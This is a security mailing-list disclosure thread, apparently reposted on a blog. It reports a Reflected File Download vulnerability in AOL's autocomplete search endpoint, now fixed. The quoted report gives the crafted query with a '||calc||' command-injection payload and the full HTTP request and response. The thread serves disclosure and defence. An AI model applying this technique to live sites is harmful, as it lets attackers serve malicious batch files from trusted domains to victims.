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Sunday, March 1, 2015

Re: [FD] Reflected File Download in AOL Search Website

It seems was fixed. HTTP/1.1 200 OK Date: Sun, 01 Mar 2015 22:21:31 GMT Server: Apache-Coyote/1.1 Content-Disposition: attachment; filename=autocomplete.txt Content-Type: application/x-suggestions+json;charset=UTF-8 Content-Language: en-US Content-Length: 34 Keep-Alive: timeout=5, max=69 Connection: Keep-Alive ["iramar\%22%7C%7Ccalc%7C%7C", []] They inclued the header "Content-Disposition: attachment; filename=autocomplete.txt" and starting encondig the body response. I reported this security issue last year at least five times but no answer. So start to think in the AOL users and how they could be affected with this security issue. I could not measure what could be worse live quiet with the problem or take a risk to disclosure. Now I'm sure that specific problem was solved. :) On Mon, Feb 16, 2015 at 2:13 PM, Ricardo Iramar dos Santos <
riramar@gmail.com> wrote: > Oren Hafif reported a new kind of attack called Reflected File Download ( > http://ift.tt/1z3Rymz) > in Black Hat Europe 2014 conference. > More details about the attack you can found in his public presentation: > http://ift.tt/1xJGXtn > . > Google and Bing have already fixed the vulnerability but I've found the > same vulnerability in AOL Search Website. > A malicious user could send the link below to a victim that you download a > malicious batch file from autocomplete.search.aol.com domain. > In the link below we have search for 'iramar "||calc||' using the AOL > autocomplete domain. The browser will encode the double quotes but the > server will escape it (\") and return inside the json on the body response. > Since the response has the header "Content-Type: > application/x-suggestions+json;charset=UTF-8" the browser will > automatically try to download the reflected file. Chrome didn't try to > download the file but Internet Explorer and Firefox will. > > > http://ift.tt/1LaTGdT"||calc||&it=ws-landing&dict=en_us_search&count=8&output=json > > REQUEST > > GET http://ift.tt/1FsVJLN > *iramar%22||calc||*&it=ws-landing&dict=en_us_search&count=8&output=json > HTTP/1.1 > Host: autocomplete.search.aol.com > User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 > Firefox/33.0 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 > Accept-Language: en-US,en;q=0.5 > Accept-Encoding: gzip, deflate > Cookie: ... > Connection: keep-alive > > > RESPONSE > > HTTP/1.1 200 OK > Date: Tue, 21 Oct 2014 10:30:34 GMT > Server: Apache-Coyote/1.1 > *Content-Type: application/x-suggestions+json;charset=UTF-8* > Content-Language: en-US > Content-Length: 24 > Keep-Alive: timeout=5, max=10 > Connection: Keep-Alive > > ["iramar\"||calc||", []] > > > > ​ > >



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